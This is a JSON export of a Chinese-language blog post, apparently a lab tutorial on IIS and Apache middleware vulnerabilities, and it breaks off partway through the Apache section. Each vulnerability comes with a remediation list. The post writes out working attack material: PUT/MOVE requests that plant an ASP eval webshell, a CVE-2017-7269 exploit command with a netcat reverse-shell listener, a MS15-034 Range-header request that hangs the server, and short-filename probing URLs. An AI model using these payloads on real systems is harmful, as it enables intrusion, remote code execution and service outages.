{"id":757,"date":"2025-10-24T15:01:56","date_gmt":"2025-10-24T07:01:56","guid":{"rendered":"https:\/\/www.youvii.site\/?p=757"},"modified":"2025-10-24T15:01:56","modified_gmt":"2025-10-24T07:01:56","slug":"zhongjianjianloudong","status":"publish","type":"post","link":"https:\/\/www.youvii.site\/index.php\/archives\/zhongjianjianloudong","title":{"rendered":"\u4e2d\u95f4\u4ef6\u6f0f\u6d1e"},"content":{"rendered":"

\u4e2d\u95f4\u4ef6\u6f0f\u6d1e<\/h1>\n

\u4e2d\u95f4\u4ef6\u6982\u8ff0<\/h1>\n

Middleware\uff0c\u63d0\u4f9b\u7cfb\u7edf\u8f6f\u4ef6\u548c\u5e94\u7528\u8f6f\u4ef6\u4e4b\u95f4\u8fde\u63a5\u7684\u8f6f\u4ef6\uff0c\u4fbf\u4e8e\u8f6f\u4ef6\u5404\u90e8\u4ef6\u4e4b\u95f4\u7684\u6c9f\u901a<\/p>\n

\u4e2d\u95f4\u4ef6\u5904\u5728\u64cd\u4f5c\u7cfb\u7edf\u548c\u66f4\u9ad8\u4e00\u7ea7\u5e94\u7528\u7a0b\u5e8f\u4e4b\u95f4\u3002\u4ed6\u5145\u5f53\u7684\u529f\u80fd\u662f\uff1a\u5c06\u5e94\u7528\u7a0b\u5e8f\u8fd0\u884c\u73af\u5883\u4e0e\u64cd\u4f5c\u7cfb\u7edf\u9694\u79bb\uff0c\u4ece\u800c\u5b9e\u73b0\u5e94\u7528\u7a0b\u5e8f\u5f00\u53d1\u8005\u4e0d\u5fc5\u4e3a\u66f4\u591a\u7cfb\u7edf\u95ee\u9898\u5fe7\u8651\uff0c\u800c\u76f4\u63a5\u5173\u6ce8\u8be5\u5e94\u7528\u7a0b\u5e8f\u5728\u89e3\u51b3\u95ee\u9898\u4e0a\u7684\u80fd\u529b \u3002\u5bb9\u5668\u5c31\u662f\u4e2d\u95f4\u4ef6\u7684\u4e00\u79cd<\/p>\n

\u662f\u4e00\u7c7b\u80fd\u591f\u4e3a\u4e00\u79cd\u6216\u591a\u79cd\u5e94\u7528\u7a0b\u5e8f\u5408\u4f5c\u4e92\u901a\u3001\u8d44\u6e90\u5171\u4eab\uff0c\u540c\u65f6\u8fd8\u80fd\u591f\u4e3a\u8be5\u5e94\u7528\u7a0b\u5e8f\u63d0\u4f9b\u76f8\u5173\u7684\u670d\u52a1\u7684\u8f6f\u4ef6<\/p>\n

\u6211\u4eec\u7ecf\u5e38\u7ba1web\u4e2d\u95f4\u4ef6\u53eb\u505aweb\u670d\u52a1\u5668\u6216\u8005web\u5bb9\u5668<\/p>\n

\u5e38\u89c1web\u4e2d\u95f4\u4ef6<\/h1>\n

iis\u3001apache\u3001tomcat\u3001nginx\u3001jboss\u3001Weblogic\u3001WebSphere<\/p>\n

\u4e00\u3001iis6x<\/h1>\n

1\u3001PUT\u6f0f\u6d1e<\/h2>\n

\u6f0f\u6d1e\u63cf\u8ff0<\/h3>\n

IIS Server \u5728 Web \u670d\u52a1\u6269\u5c55\u4e2d\u5f00\u542f\u4e86 WebDAV \uff0c\u914d\u7f6e\u4e86\u53ef\u4ee5\u5199\u5165\u7684\u6743\u9650\uff0c\u9020\u6210\u4efb\u610f\u6587\u4ef6\u4e0a\u4f20<\/p>\n

Version\uff1aIIS6.0<\/p>\n

\u6f0f\u6d1e\u590d\u73b0<\/h3>\n

\u5f00\u542f WebDAV \u548c\u5199\u6743\u9650<\/p>\n

\"1746496102206-f0c0c4fe-a287-4b58-ba0b-f008886dfda8.png\"<\/p>\n

\"1746496107769-98fbefbc-178f-49e9-8f29-d9507cee5475.png\"<\/p>\n

\u7528burpsuite \u63d0\u4ea4OPTIONS \u67e5\u770b\u652f\u6301\u7684\u534f\u8bae<\/p>\n

\"1746496123491-5c94cb7a-e334-494d-a47f-f7f66f7cb023.png\"<\/p>\n

PUT \/test.txt HTTP\/1.1\nHost: upload.moonteam.com\nContent-Length: 25\n<%eval request(\"cmd\")%>\nMOVE \/test.txt HTTP\/1.1\nHost: upload.moonteam.com\nDestination: http:\/\/upload.moonteam.com\/shell.asp<\/code><\/pre>\n
\"1746496147067-f2b10200-9137-4ba5-88ac-20068a01c750.png\"<\/p>\n
\"1746496154256-5d8fa104-e4b3-45bd-9975-fa85ed738b39.png\"<\/p>\n
shell.asp\u5199\u5165\u6210\u529f<\/p>\n
\u6f0f\u6d1e\u4fee\u590d<\/h3>\n
1.\u5173\u95edwebdav<\/p>\n
2.\u5173\u95ed\u5199\u5165\u6743\u9650<\/p>\n
2\u3001iis6.0\u89e3\u6790\u6f0f\u6d1e<\/h2>\n
\u57fa\u4e8e\u6587\u4ef6\u540d<\/h3>\n
\u539f\u7406<\/h4>\n
\u8be5\u7248\u672c\u9ed8\u8ba4\u5c06*.asp;.jpg \u6b64\u79cd\u683c\u5f0f\u7684\u6587\u4ef6\u540d\uff0c\u5f53\u6210Asp\u89e3\u6790\u3002\u670d\u52a1\u5668\u9ed8\u8ba4\u4e0d\u89e3\u6790 ; \u53f7\u53ca\u5176\u540e\u9762\u7684\u5185\u5bb9\uff0c\u76f8\u5f53\u4e8e\u622a\u65ad<\/p>\n
iis\u9664\u4e86\u4f1a\u5c06asp\u89e3\u6790\u6210\u811a\u672c\u6267\u884c\u6587\u4ef6\u4e4b\u5916\uff0c\u8fd8\u4f1a\u5c06 cer cdx asa\u6269\u5c55\u540d\u89e3\u6790\u6210asp<\/p>\n
iis6.0->\u4e3b\u76ee\u5f55->\u914d\u7f6e \u67e5\u770b \u8fd9\u51e0\u79cd\u6269\u5c55\u540d\u90fd\u662f\u6307\u5411\u540c\u4e00\u4e2a\u6587\u4ef6<\/p>\n
C:WINDOWSsystem32inetsrvasp.dll \u6240\u4ee5\u90fd\u89e3\u6790\u6210asp<\/p>\n
\"1746496274206-da0fb739-c9b9-4a55-a093-c160bbb55e62.png\"<\/p>\n
\u590d\u73b0<\/h4>\n
\u901a\u8fc7\u6587\u4ef6\u4e0a\u4f20\uff0c\u6216\u8005\u521b\u5efa\u6587\u4ef6\uff0c\u683c\u5f0f\u4e3a*.asp;.jpg<\/p>\n
\u9632\u5fa1<\/h4>\n
1.\u7981\u6b62\u521b\u5efa\u548c\u4e0a\u4f20\u6b64\u7c7b\u7578\u5f62\u6587\u4ef6<\/p>\n
2.\u56fe\u7247\u5b58\u653e\u76ee\u5f55\u8bbe\u7f6e\u6210\u7981\u6b62\u811a\u672c\u6587\u4ef6\u6267\u884c<\/p>\n
3.\u5347\u7ea7iis\u7248\u672c<\/p>\n
\u57fa\u4e8e\u6587\u4ef6\u5939<\/h3>\n
\u539f\u7406<\/h4>\n
\u8be5\u7248\u672c\u9ed8\u8ba4\u5c06 *.asp\/ \u76ee\u5f55\u4e0b\u7684\u6240\u6709\u6587\u4ef6\u5f53\u6210Asp\u89e3\u6790<\/p>\n
\u590d\u73b0<\/h4>\n
\u521b\u5efa\u6587\u4ef6.asp\u6587\u4ef6\u5939 \u4e0a\u4f20\u56fe\u7247\u683c\u5f0f\u540e\u95e8\u5230\u6b64\u76ee\u5f55<\/p>\n
\u9632\u5fa1<\/h4>\n
1.\u7981\u6b62\u521b\u5efa\u6b64\u7c7b\u6587\u4ef6\u5939<\/p>\n
2.\u5347\u7ea7iis\u7248\u672c<\/p>\n
3\u3001IIS\u77ed\u6587\u4ef6\u6f0f\u6d1e<\/h2>\n
\u4ecb\u7ecd<\/h3>\n
Windows \u4ee5 8.3 \u683c\u5f0f\u751f\u6210\u4e0e MS-DOS \u517c\u5bb9\u7684\uff08\u77ed\uff09\u6587\u4ef6\u540d\uff0c\u4ee5\u5141\u8bb8\u57fa\u4e8e MS-DOS \u6216 16 \u4f4dWindows\u7684\u7a0b\u5e8f\u8bbf\u95ee\u8fd9\u4e9b\u6587\u4ef6\u3002\u5728cmd\u4e0b\u8f93\u5165"dir \/x"\u5373\u53ef\u770b\u5230\u77ed\u6587\u4ef6\u540d\u7684\u6548\u679c<\/p>\n
\"1746496367591-2cf53f93-b3f7-42b6-b3d0-bf7157b829af.png\"<\/p>\n
\u539f\u7406<\/h3>\n
\u5f53\u540e\u7f00\u5c0f\u4e8e4\u65f6\uff0c\u77ed\u6587\u4ef6\u540d\u4ea7\u751f\u9700\u8981\u6587\u4ef6(\u5939)\u540d\u524d\u7f00\u5b57\u7b26\u957f\u5ea6\u5927\u4e8e\u7b49\u4e8e9\u4f4d<\/p>\n
\u5f53\u540e\u7f00\u5927\u4e8e\u7b49\u4e8e4\u65f6\uff0c\u6587\u4ef6\u540d\u524d\u7f00\u5b57\u7b26\u957f\u5ea6\u5373\u4f7f\u4e3a1\uff0c\u4e5f\u4f1a\u4ea7\u751f\u77ed\u6587\u4ef6\u540d<\/p>\n
\u76ee\u524dIIS\u652f\u6301\u77ed\u6587\u4ef6\u540d\u731c\u6d4b\u7684HTTP\u65b9\u6cd5\u4e3b\u8981\u5305\u62ec\uff1aDEBUG\u3001OPTIONS\u3001GET\u3001POST\u3001HEAD\u3001TRACE\u516d\u79cd<\/p>\n
IIS 8.0\u4e4b\u540e\u7684\u7248\u672c\u53ea\u80fd\u901a\u8fc7OPTIONS\u548cTRACE\u65b9\u6cd5\u88ab\u731c\u6d4b\u6210\u529f<\/p>\n
\u590d\u73b0<\/h3>\n
\u63d0\u9192\u4e00\u4e0b IIS8.0\u4ee5\u4e0b\u7248\u672c\u9700\u8981\u5f00\u542fASP.NET\u652f\u6301\uff0cIIS>=8.0\u7248\u672c,\u5373\u4f7f\u6ca1\u6709\u5b89\u88c5ASP.NET\uff0c\u901a\u8fc7OPTIONS\u548cTRACE\u65b9\u6cd5\u4e5f\u53ef\u4ee5\u731c\u89e3\u6210\u529f\u3002\u4ee5\u4e0b\u901a\u8fc7\u5f00\u542fIIS6.0 ASP.NET\u540e\u8fdb\u884c\u590d\u73b0<\/p>\n
\"1746496436836-423e43c2-24ef-4dcb-9621-afbe3c49665b.png\"<\/p>\n
\"1746496442375-bd263bda-c698-41d3-9d4f-66310ca45af1.png\"\u77ed\u6587\u4ef6\u540d\u7279\u5f81\uff1a<\/p>\n
1.\u53ea\u663e\u793a\u524d6\u4f4d\u7684\u5b57\u7b26,\u540e\u7eed\u5b57\u7b26\u7528~1\u4ee3\u66ff\u3002\u5176\u4e2d\u6570\u5b571\u662f\u53ef\u4ee5\u9012\u589e\u3002\u5982\u679c\u5b58\u5728\u6587\u4ef6\u540d\u7c7b\u4f3c\u7684\u6587\u4ef6,\u5219\u524d\u9762\u76846\u4e2a\u5b57\u7b26\u662f\u76f8\u540c\u7684,\u540e\u9762\u7684\u6570\u5b57\u8fdb\u884c\u9012\u589e<\/p>\n
\"1746496457137-3088f8b1-f203-4d24-a208-466dd56a114b.png\"<\/p>\n
2.\u540e\u7f00\u540d\u6700\u957f\u53ea\u67093\u4f4d,\u8d85\u8fc73\u4f4d\u7684\u4f1a\u751f\u6210\u77ed\u6587\u4ef6\u540d,\u4e14\u540e\u7f00\u591a\u4f59\u7684\u90e8\u5206\u4f1a\u622a\u65ad<\/p>\n
\"1746496465386-a07c4103-c5da-4791-bfe6-4c70d588e61d.png\"<\/p>\n
3.\u6240\u6709\u5c0f\u5199\u5b57\u6bcd\u5747\u8f6c\u6362\u6210\u5927\u5199\u7684\u5b57\u6bcd<\/p>\n
4.\u957f\u6587\u4ef6\u540d\u4e2d\u5305\u542b\u591a\u4e2a\u201d.\u201d\u7684\u65f6\u5019,\u4ee5\u6587\u4ef6\u6700\u540e\u4e00\u4e2a\u201d.\u201d\u4f5c\u4e3a\u77ed\u6587\u4ef6\u540d\u7684\u540e\u7f00<\/p>\n
\"1746496473845-5e627f4f-ef0b-4ca7-884c-4e07ff024f49.png\"5.\u957f\u6587\u4ef6\u540d\u524d\u7f00\/\u6587\u4ef6\u5939\u540d\u5b57\u7b26\u957f\u5ea6\u7b26\u54080-9\u548cA-Z\u3001a-z\u8303\u56f4\u4e14\u9700\u8981\u5927\u4e8e\u7b49\u4e8e9\u4f4d\u624d\u4f1a\u751f\u6210\u77ed\u6587\u4ef6\u540d,\u5982\u679c\u5305\u542b\u7a7a\u683c\u6216\u8005\u5176\u4ed6\u90e8\u5206\u7279\u6b8a\u5b57\u7b26,\u4e0d\u8bba\u957f\u5ea6\u5747\u4f1a\u751f\u6210\u77ed\u6587\u4ef6\u3002<\/p>\n
\"1746496485463-a846db33-3554-4542-96f1-80a5a144e73b.png\"\u4f7f\u7528payload\u9a8c\u8bc1\u76ee\u6807\u662f\u5426\u5b58\u5728IIS\u77ed\u6587\u4ef6\u540d\u6f0f\u6d1e,\u4e0b\u56fe\u663e\u793a\u7684404,\u8bf4\u660e\u76ee\u6807\u5b58\u5728\u8be5\u77ed\u6587\u4ef6\u540d<\/p>\n
\u6ce8\uff1a* \u53ef\u4ee5\u5339\u914dn\u4e2a\u5b57\u7b26, n\u53ef\u4ee5\u4e3a0<\/p>\n
http:\/\/upload.moonteam.com\/~1<\/em>\/a.aspx<\/a><\/p>\n
\"1746496505852-0866800c-38e0-4cab-87bd-80b8622ce57f.png\"\u901a\u8fc7\u6d4f\u89c8\u5668\u8bbf\u95ee\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u77ed\u6587\u4ef6\u540d\uff0c\u4f1a\u8fd4\u56de400\u72b6\u6001\u7801, 400\u8bf4\u660e\u8be5\u6587\u4ef6\u4e0d\u5b58\u5728<\/p>\n
http:\/\/upload.moonteam.com\/zzzz~1<\/em>\/a.aspx<\/a><\/p>\n
\"1746496519965-4cc1d97a-8d60-42c5-990e-4bd9ece52538.png\"<\/p>\n
4\u3001\u901a\u8fc7\u6d4f\u89c8\u5668\u8bbf\u95ee\u4e0a\u9762\u4e24\u4e2apayload,\u6839\u636e\u8fd4\u56de\u7684\u7ed3\u679c,\u53ef\u4ee5\u8bf4\u660e\u76ee\u6807\u5b58\u5728IIS\u77ed\u6587\u4ef6\u6f0f\u6d1e<\/p>\n
5\u3001\u5224\u65ad\u6f0f\u6d1e\u5b58\u5728\u540e,\u63a5\u4e0b\u6765\u624b\u5de5\u8be6\u7ec6\u5206\u6790\u731c\u89e3IIS\u77ed\u6587\u4ef6\u540d<\/p>\n
\u5728\u7f51\u7ad9\u76ee\u5f55\u4e0b\u65b0\u5efa\u4e00\u4e2a abcde1231111.txt\u6587\u4ef6,\u5206\u522b\u8bbf\u95ee<\/p>\n
http:\/\/upload.moonteam.com\/a~1<\/em>\/a.aspx<\/a><\/p>\n
http:\/\/upload.moonteam.com\/b~1<\/em>\/a.aspx<\/a><\/p>\n
\"1746496540797-706d6589-878a-4d32-b46c-1c9a659af944.png\"<\/p>\n
\"1746496545087-72afbfa5-606b-44ab-9217-04f12da3ac40.png\"<\/p>\n
\u901a\u8fc7\u4e24\u6b21\u7684\u63d0\u4ea4\u786e\u8ba4\u4e86a\u662f404 b\u662f400 \u6240\u4ee5\u5b58\u5728a\u6587\u4ef6\u5f00\u5934\u7684\u77ed\u6587\u4ef6\u3002<\/p>\n
\u901a\u8fc7\u4e0a\u9762\u7684\u65b9\u6cd5\u63a5\u7740\u5f80\u540e\u731c<\/p>\n
http:\/\/upload.moonteam.com\/abcde~1<\/em>\/a.aspx<\/a><\/p>\n
\u5230\u8fd9\u6587\u4ef6\u540d\u5df2\u7ecf\u51fa\u6765\u4e86\uff0c\u63a5\u7740\u5c31\u662f\u5224\u65ad\u662f\u76ee\u5f55\u8fd8\u662f\u6587\u4ef6<\/p>\n
\"1746496567157-6c2947b0-d667-40a4-834b-25625e7f1d70.png\"<\/p>\n
http:\/\/upload.moonteam.com\/abcde*~1\/a.aspx<\/a><\/p>\n
\"1746496577802-dc35ccc1-c0e7-4e58-a899-30ca782cadcb.png\"<\/p>\n
\u5224\u65ad\u662f\u6587\u4ef6 \u6309\u7167a-z\u8fdb\u884c\u6d4b\u8bd5 404\u8868\u793a\u5b58\u5728 400\u8868\u793a\u4e0d\u5b58\u5728 \u7b2c\u4e00\u4e2a\u5b57\u7b26\u4e0d\u662fa\u5f00\u5934\u7684\u6587\u4ef6http:\/\/upload.moonteam.com\/abcde~1.txt<\/em>\/a.aspx<\/a><\/p>\n
\"1746496608397-49773336-23c1-43c0-b1c3-202bfaed1f38.png\"<\/p>\n
6.\u6309\u7167\u4e0a\u9762\u7684\u65b9\u6cd5\u4f9d\u6b21\u731c\u89e3\u5f97\u5230\u8be5\u77ed\u6587\u4ef6\u540d\u7684\u540e\u7f00\u662ftxt \u77ed\u6587\u4ef6\u540d\u4e3a abcde~1.txt \u53ef\u4ee5\u63a5\u7740\u731c\u89e3abcde1231111.txt\u6587\u4ef6\u540d<\/p>\n
7.\u4f7f\u7528IIS\u77ed\u6587\u4ef6\u540d\u626b\u63cf\u8f6f\u4ef6\uff0c\u83b7\u53d6\u76ee\u6807\u5b58\u5728\u54ea\u4e9b\u77ed\u6587\u4ef6\u540d<\/p>\n
python iis_shortname_Scan.py http:\/\/upload.moonteam.com\/<\/a><\/p>\n
\"1746496632379-0bd0512c-cf1d-453b-a2a7-95f247d71846.png\"<\/p>\n
\u9632\u5fa1<\/h3>\n
1\u3001\u5347\u7ea7.net framework<\/p>\n
2\u3001\u4fee\u6539\u6ce8\u518c\u8868\u952e\u503c\uff1a<\/p>\n
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlFileSystem<\/p>\n
\u4fee\u6539NtfsDisable8dot3NameCreation\u4e3a1\u3002\u4fee\u6539\u5b8c\u6210\u540e,\u9700\u8981\u91cd\u542f\u7cfb\u7edf\u751f\u6548<\/p>\n
\u547d\u4ee4\u884c\u5173\u95ed fsutil behavior set disable8dot3 1<\/p>\n
\u65b0\u5efa\u6587\u4ef6 aaaaaaaaaaaaaazzzzz.txt \u5df2\u7ecf\u6ca1\u6709\u77ed\u6587\u4ef6\u540d\u4e86<\/p>\n
\"1746496653287-03cad5a8-908e-4a90-bbc0-bdd383d64603.png\"<\/p>\n
\u6ce8:\u6b64\u65b9\u6cd5\u53ea\u80fd\u7981\u6b62NTFS8.3\u683c\u5f0f\u6587\u4ef6\u540d\u521b\u5efa,\u5df2\u7ecf\u5b58\u5728\u7684\u6587\u4ef6\u7684\u77ed\u6587\u4ef6\u540d\u65e0\u6cd5\u79fb\u9664,\u9700\u8981\u91cd\u65b0\u590d\u5236\u624d\u4f1a\u6d88\u5931\u3002\u5982\u679c\u4e0d\u91cd\u65b0\u590d\u5236\uff0c\u5df2\u7ecf\u5b58\u5728\u7684\u77ed\u6587\u4ef6\u540d\u5219\u662f\u4e0d\u4f1a\u6d88\u5931\u7684\u3002<\/p>\n
\u5c06web\u6587\u4ef6\u5939\u7684\u5185\u5bb9\u62f7\u8d1d\u5230\u53e6\u4e00\u4e2a\u4f4d\u7f6e\uff0c\u5982c:www\u5230c:ww,\u7136\u540e\u5220\u9664\u539f\u6587\u4ef6\u5939\uff0c\u518d\u91cd\u547d\u540dc:ww\u5230c:www<\/p>\n
4\u3001iis RCE-CVE-2017-7269<\/h2>\n
\u4ecb\u7ecd<\/h3>\n
Microsoft windows Server 2003 R2\u4e2d\u7684 Interne\u4fe1\u606f\u670d\u52a1IIS6.0\u4e2d\u7684 WebDAV\u670d\u52a1\u4e2d\u7684ScStoragePathFromUrl\u51fd\u6570\u4e2d\u7684\u7f13\u51b2\u533a\u6ea2\u51fa\u5141\u8bb8\u8fdc\u7a0b\u653b\u51fb\u8005\u901a\u8fc7\u4ee5 If:<http:\/\/ \u5f00\u5934\u7684\u957f\u6807\u5934\u6267\u884c\u4efb\u610f\u4ee3\u7801 PROPFIND\u8bf7\u6c42<\/p>\n
\u5f71\u54cd\u8303\u56f4<\/h3>\n
WiNdows Server 2003 R2\u4e0a\u4f7f\u7528IIS6.0\u5e76\u5f00\u542f WebDAV\u6269\u5c55<\/p>\n
\u590d\u73b0<\/h3>\n
\"1746496717964-7e87a126-ddf7-4e9f-9254-ede4a9243e0b.png\"<\/p>\n
https:\/\/github.com\/g0rx\/iis6-exploit-2017-CVE-2017-7269<\/a><\/p>\n
python iis 192.168.0.115 80 192.168.0.154 9999<\/p>\n
nc -lvnp 9999<\/p>\n
\u9632\u5fa1<\/h3>\n
1.\u5173\u95ed WebDav\u670d\u52a1<\/p>\n
2.\u5347\u7ea7<\/p>\n
3.\u90e8\u7f72\u5b89\u5168\u8bbe\u5907<\/p>\n
\u4e8c\u3001iis7x<\/h1>\n
1\u3001iis7\u6587\u4ef6\u89e3\u6790\u6f0f\u6d1e<\/h2>\n
\u539f\u7406<\/h3>\n
IIS7.x\u7248\u672c\u5728Fast-CGl\u8fd0\u884c\u6a21\u5f0f\u4e0b\uff0c\u5728\u4efb\u610f\u6587\u4ef6\uff0c\u4f8b\uff1aa001.jpg\/png\u540e\u9762\u52a0\u4e0a\/.php\uff0c\u4f1a\u5c06a001.jpg\/png\u89e3\u6790\u4e3aphp\u6587\u4ef6<\/p>\n
\u590d\u73b0<\/h3>\n
\u4e0a\u4f20\u56fe\u7247\u5230\u7f51\u7ad9\u5141\u8bb8\u76ee\u5f55 \u5728\u56fe\u7247\u4e0a\u52a0\u4e0a\/.php<\/p>\n
http:\/\/192.168.0.148:8980\/1.jpg\/.php<\/a><\/p>\n
\"1746496816191-72bf12f1-131f-417b-ace7-2bb41315b048.png\"<\/p>\n
\u9632\u5fa1<\/h3>\n
1.\u914d\u7f6e cgi fix_pathinfo\uff08php inil\u4e2d\uff09\u4e3a0\u5e76\u91cd\u542fphp-cgi\u7a0b\u5e8f<\/p>\n
2.\u7f16\u8f91\u6620\u5c04\u6a21\u5757->\u6620\u5c04->\u6253\u52fe<\/p>\n
\"1746496830074-5541a483-418c-4aaa-8b95-3195deef7d47.png\"<\/p>\n
2\u3001HTTP.SYS\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c(MS15-034)<\/h2>\n
\u4ecb\u7ecd<\/h3>\n
HTTP.SYS\u662fMicrosoft Windows\u5904\u7406HTTP\u8bf7\u6c42\u7684\u5185\u6838\u9a71\u52a8\u7a0b\u5e8f\uff0c\u4e3a\u4e86\u4f18\u5316IIS\u670d\u52a1\u5668\u6027\u80fd\uff0c\u4eceIIS6.0\u5f15\u5165\uff0cIIS\u670d\u52a1\u8fdb\u7a0b\u4f9d\u8d56HTTP.SYS<\/p>\n
HTTP.SYS\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u5b9e\u8d28\u662fHTTP.SYS\u7684\u6574\u6570\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u5f53\u653b\u51fb\u8005\u5411\u53d7\u5f71\u54cd\u7684Windows\u7cfb\u7edf\u53d1\u9001\u7279\u6b8a\u8bbe\u8ba1\u7684HTTP \u8bf7\u6c42\uff0cHTTP.sys \u672a\u6b63\u786e\u5206\u6790\u65f6\u5c31\u4f1a\u5bfc\u81f4\u6b64\u6f0f\u6d1e\uff0c\u6210\u529f\u5229\u7528\u6b64\u6f0f\u6d1e\u7684\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u7cfb\u7edf\u5e10\u6237\u7684\u4e0a\u4e0b\u6587\u4e2d\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002<\/p>\n
\u4e3b\u8981\u5b58\u5728Windows+IIS\u7684\u73af\u5883\u4e0b\uff0c\u4efb\u4f55\u5b89\u88c5\u4e86\u5fae\u8f6fIIS 6.0\u4ee5\u4e0a\u7684Windows Server 2008 R2\/Server2012\/Server 2012 R2\u4ee5\u53caWindows 7\/8\/8.1\u64cd\u4f5c\u7cfb\u7edf\u90fd\u53d7\u5230\u8fd9\u4e2a\u6f0f\u6d1e\u7684\u5f71\u54cd\u9a8c\u8bc1\u8fd9\u4e2a\u6f0f\u6d1e<\/p>\n
\u5f71\u54cd\u8303\u56f4<\/h3>\n
Windows7\u3001Windows server 2008 R2\u3001Windows8\u3001Windows server2012\u3001Windows8.1\u548cWindows server 2012 R2<\/p>\n
\u5f71\u54cd\u7248\u672c<\/h3>\n
IS7.5\u3001IIS8.0\u3001IIS8.5<\/p>\n
\u590d\u73b0<\/h3>\n
\u8bbf\u95ee\u7f51\u7ad9<\/p>\n
\u7f16\u8f91\u8bf7\u6c42\u5934\uff0c\u589e\u52a0Range: bytes=0-18446744073709551615\u5b57\u6bb5\uff0c\u82e5\u8fd4\u56de\u7801\u72b6\u6001\u4e3a416 RequestedRange Not Satisfiable\uff0c\u5219\u5b58\u5728HTTP.SYS\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e<\/p>\n
\"1746496889129-1926df75-c4ec-4524-a9ca-ddcd73e3b2ae.png\"<\/p>\n
GET \/ HTTP\/1.1\nHost: 192.168.0.148\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko\/20100101\nFirefox\/91.0\nAccept:\ntext\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nConnection: close\nRange: bytes=0-18446744073709551615\nContent-Length: 2<\/code><\/pre>\n
poc \u5730\u5740 https:\/\/github.com\/davidjura\/MS15-034-IIS-Active-DoS-Exploit-PoC<\/a><\/p>\n
\"1746496908631-317ef02a-ad0e-499e-b8c3-a92e9a75021a.png\"<\/p>\n
\u670d\u52a1\u5668\u5361\u8d77\u6765\u4e86<\/p>\n
\u4fee\u590d\u5efa\u8bae<\/h3>\n
1.\u5b89\u88c5\u4fee\u590d\u8865\u4e01\uff08KB3042553\uff09<\/p>\n
\u4e09\u3001apache<\/h1>\n
Apache \u662f\u4e16\u754c\u4f7f\u7528\u6392\u540d\u7b2c\u4e00\u7684 Web \u670d\u52a1\u5668\u8f6f\u4ef6\u3002\u5b83\u53ef\u4ee5\u8fd0\u884c\u5728\u51e0\u4e4e\u6240\u6709\u5e7f\u6cdb\u4f7f\u7528\u7684\u8ba1\u7b97\u673a\u5e73\u53f0\u4e0a\uff0c\u7531\u4e8e\u5176\u8de8\u5e73\u53f0\u548c\u5b89\u5168\u6027\u88ab\u5e7f\u6cdb\u4f7f\u7528\uff0c\u662f\u6700\u6d41\u884c\u7684 Web \u670d\u52a1\u5668\u7aef\u8f6f\u4ef6\u4e4b\u4e00<\/p>\n
apache\u76ee\u5f55\u7ed3\u6784<\/p>\n
bin\uff1a\u5b58\u653e\u5e38\u7528\u547d\u4ee4\u5de5\u5177\uff0c\u5982httpd<\/p>\n
cgi-bin\uff1a\u5b58\u653elinux\u4e0b\u5e38\u7528\u547d\u4ee4\uff0c\u5982xxx.sh<\/p>\n
error\uff1a\u9519\u8bef\u8bb0\u5f55<\/p>\n
htdocs\uff1a\u7f51\u7ad9\u6e90\u7801<\/p>\n
icons\uff1a\u7f51\u7ad9\u56fe\u6807<\/p>\n
manual\uff1a\u624b\u518c<\/p>\n
modules\uff1a\u6269\u5c55\u6a21\u5757<\/p>\n
1\u3001\u672a\u77e5\u6269\u5c55\u540d\u89e3\u6790\u6f0f\u6d1e<\/h2>\n
\u6f0f\u6d1e\u539f\u7406<\/h3>\n
Apache\u9ed8\u8ba4\u4e00\u4e2a\u6587\u4ef6\u53ef\u4ee5\u6709\u591a\u4e2a\u4ee5\u70b9\u5206\u5272\u7684\u540e\u7f00\uff0c\u5f53\u6700\u53f3\u8fb9\u7684\u540e\u7f00\u65e0\u6cd5\u8bc6\u522b\uff0c\u5219\u7ee7\u7eed\u5411\u5de6\u8bc6\u522b\uff0c\u76f4\u5230\u8bc6\u522b\u5230\u5408\u6cd5\u540e\u7f00\u624d\u8fdb\u884c\u89e3\u6790<\/p>\n
\u590d\u73b0<\/h3>\n
\u4e0a\u4f20\u4e86\u4e00\u4e2a\u540d\u5b57\u53eblcx.php.qqq \u7684\u6587\u4ef6\uff0c\u5f53\u6b64\u7279\u6027\u5b58\u5728\u7684\u65f6\u5019\uff0c\u4e00\u770b.qqq\u4e0d\u8ba4\u8bc6\u7ee7\u7eed\u89e3\u6790\uff0c.php\u6211\u8ba4\u8bc6\uff0c\u89e3\u6790\u6210php\u6587\u4ef6\u4e86\u3002\u8bbf\u95ee\u4e5f\u662f\u540c\u7406\uff0c\u6bd4\u5982\u8bbf\u95eephpinfo.php.qqq\u53ef\u6210\u529f\u663e\u793aphpinfo<\/p>\n
\u54ea\u4e9b\u540e\u7f00Apache\u4e0d\u8ba4\u8bc6\uff1f<\/p>\n
\u4e0d\u5728mime.types\u5f53\u4e2d\u7684\u90fd\u4e0d\u8ba4\u8bc6 \uff08Multipurpose Internet Mail Extensions\uff09<\/p>\n
\u5230\u5b89\u88c5Apache\u7684\u76ee\u5f55\u4e0b\u627e\u8fd9\u4e2a\u6587\u4ef6<\/p>\n
\"1746497041136-3d56b447-4003-4f23-a12b-25c842fc6f82.png\"<\/p>\n
\"1746497045584-ba950424-9b0d-4fca-a461-e1383aafea7c.png\"<\/p>\n
    \n
  1. \n
    \u4f7f\u7528module\u6a21\u5f0f\u4e0ephp\u7ed3\u5408\u7684\u6240\u6709\u7248\u672capache\u5b58\u5728\u672a\u77e5\u6269\u5c55\u540d\u89e3\u6790\u6f0f\u6d1e\u3002<\/p>\n<\/li>\n
  2. \n
    \u4f7f\u7528fastcgi\u6a21\u5f0f\u4e0ephp\u7ed3\u5408\u7684\u6240\u6709\u7248\u672capache\u4e0d\u5b58\u5728\u6b64\u6f0f\u6d1e\u3002<\/p>\n<\/li>\n
  3. \n
